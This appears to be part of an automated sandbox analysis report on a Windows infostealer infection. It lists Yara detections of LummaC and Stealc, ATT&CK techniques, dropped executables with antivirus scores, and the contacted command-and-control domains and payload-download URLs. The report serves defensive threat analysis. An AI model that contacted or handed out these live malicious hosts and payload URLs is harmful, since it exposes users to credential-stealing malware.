Source: Yara match	File source: 0000000C.00000003.2136535617.0000000001527000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2181932991.000000000153B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2133263162.0000000001527000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2156560425.0000000001527000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2316927566.0000000001477000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2119173963.0000000001525000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2181755430.000000000152D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2303017992.0000000001477000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2335735123.0000000001478000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2318704557.0000000001476000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2335940997.0000000001478000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2173330591.0000000001527000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2133170894.0000000001525000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 59d7339838.exe PID: 6108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 59d7339838.exe PID: 1468, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 59d7339838.exe PID: 3284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: skotes.exe PID: 5576, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 59d7339838.exe PID: 6108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 59d7339838.exe PID: 1468, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 59d7339838.exe PID: 3284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: skotes.exe PID: 5576, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 7.2.b02ca6c530.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.b02ca6c530.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.b02ca6c530.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.1990105604.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2156814063.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2211768610.00000000001D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1921852326.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1913143748.00000000001D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2049326377.00000000001D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2221405720.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1872114375.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2051095271.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b02ca6c530.exe PID: 640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b02ca6c530.exe PID: 5256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b02ca6c530.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	21 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	50%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	50%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	50%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	37%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://185.215.113.43/Zu7JuNko/index.php	100%	URL Reputation	phishing
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
necklacedmny.store	188.114.96.3	true	true	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
time.windows.com	unknown	unknown	false	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
necklacedmny.store	true		unknown
fadehairucw.store	true		unknown
http://185.215.113.206/6c4adf523b719729.php	true		unknown
http://185.215.113.43/Zu7JuNko/index.php	true	URL Reputation: phishing	unknown
founpiuer.store	true		unknown
crisiwarny.store	true		unknown
scriptyprefej.store	true		unknown
presticitpo.store	true		unknown
http://185.215.113.16/luma/random.exe	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	59d7339838.exe, 0000000A.00000003.2025900566.00000000006AF000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2029426845.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2028887073.00000000006B4000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2026453534.00000000006AF000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2335940997.0000000001474000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2335735123.000000000146C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453369895.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453727803.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.2060	b02ca6c530.exe, 0000000B.00000002.2051095271.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiy	59d7339838.exe, 0000000A.00000003.2058659318.00000000052E5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpLx	axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/files/FontCreator.exe3142001	skotes.exe, 00000010.00000002.2624931539.000000000138E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/Y-o	b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/ws	b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/api	59d7339838.exe, 0000000A.00000003.1936575021.0000000000621000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1936725282.0000000000623000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php#?j	b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/216e50adc2dd0a1bfe522b3effbbd4e64e3aa636b77#d	axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpE	axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/qh	59d7339838.exe, 0000000A.00000003.2136404680.000000000069E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206;	b02ca6c530.exe, 0000000B.00000002.2051095271.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16:80/mine/random.exeo	59d7339838.exe, 0000000A.00000003.2136404680.000000000069E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.php8	axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpnu	axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.php2	axplong.exe, 00000004.00000002.2624043773.0000000001A50000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded	axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/y	skotes.exe, 00000014.00000003.2418376482.0000000005B06000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2417958191.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2418850911.0000000005B0A000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2417808555.0000000005B00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store:443/apiK	59d7339838.exe, 0000000C.00000003.2249563505.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000002.2259088589.0000000001495000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiC	59d7339838.exe, 0000000C.00000003.2250227598.0000000001548000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiD	59d7339838.exe, 00000012.00000002.2387290463.000000000141B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/x	59d7339838.exe, 00000012.00000003.2359610183.0000000001477000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/u	skotes.exe, 00000014.00000003.2404000364.00000000014B0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2418912665.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php3O	b02ca6c530.exe, 00000007.00000002.1921852326.0000000001001000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/api;	skotes.exe, 00000014.00000003.2418912665.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpncodedLs	axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/luma/random.exeR	skotes.exe, 00000010.00000002.2624931539.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIX	59d7339838.exe, 00000012.00000003.2335940997.0000000001474000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2335735123.000000000146C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiR	59d7339838.exe, 0000000C.00000003.2250624104.0000000001534000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000002.2261722955.0000000001535000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.php509001	axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiK	59d7339838.exe, 0000000A.00000003.2136537230.0000000000656000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	skotes.exe, 00000014.00000003.2439136464.0000000005C11000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/p	59d7339838.exe, 00000012.00000002.2387803450.0000000001478000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiJ	59d7339838.exe, 00000012.00000002.2386043908.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiH	skotes.exe, 00000014.00000003.2514857238.000000000143A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/f49fa1f45a5fea9f5c7cf18216e50adc2dd0a1bfe522b3effbbd4e64e3aa636b77#	axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiultV	59d7339838.exe, 00000012.00000003.2360162514.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000002.2387290463.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2347631367.000000000141B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.php4xz	axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.micro	59d7339838.exe, 00000012.00000003.2360162514.0000000001423000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2347631367.0000000001423000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2335735123.0000000001423000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2377537459.0000000001465000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2276772871.0000000001423000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpC?	b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store:443/api.default-release/key4.dbPK	59d7339838.exe, 00000012.00000002.2386043908.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/mine/random.exeg	skotes.exe, 00000014.00000003.2603426144.00000000014A0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.php0yf	axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store//	59d7339838.exe, 0000000A.00000003.1936575021.0000000000613000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	59d7339838.exe, 0000000A.00000003.2025879148.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2320171523.0000000001476000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2439773428.0000000005B00000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/H	59d7339838.exe, 00000012.00000002.2387803450.0000000001478000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2317531609.0000000001477000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2320171523.0000000001476000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2359610183.0000000001477000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2316927566.0000000001477000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318704557.0000000001476000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	59d7339838.exe	false		unknown
https://crisiwarny.store/	59d7339838.exe, 0000000A.00000003.1936575021.0000000000613000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpCO	b02ca6c530.exe, 00000007.00000002.1921852326.0000000001001000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/7	59d7339838.exe, 0000000A.00000003.1936575021.0000000000613000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiIQql	59d7339838.exe, 0000000C.00000003.2173330591.0000000001527000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/P	skotes.exe, 00000014.00000003.2435855737.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
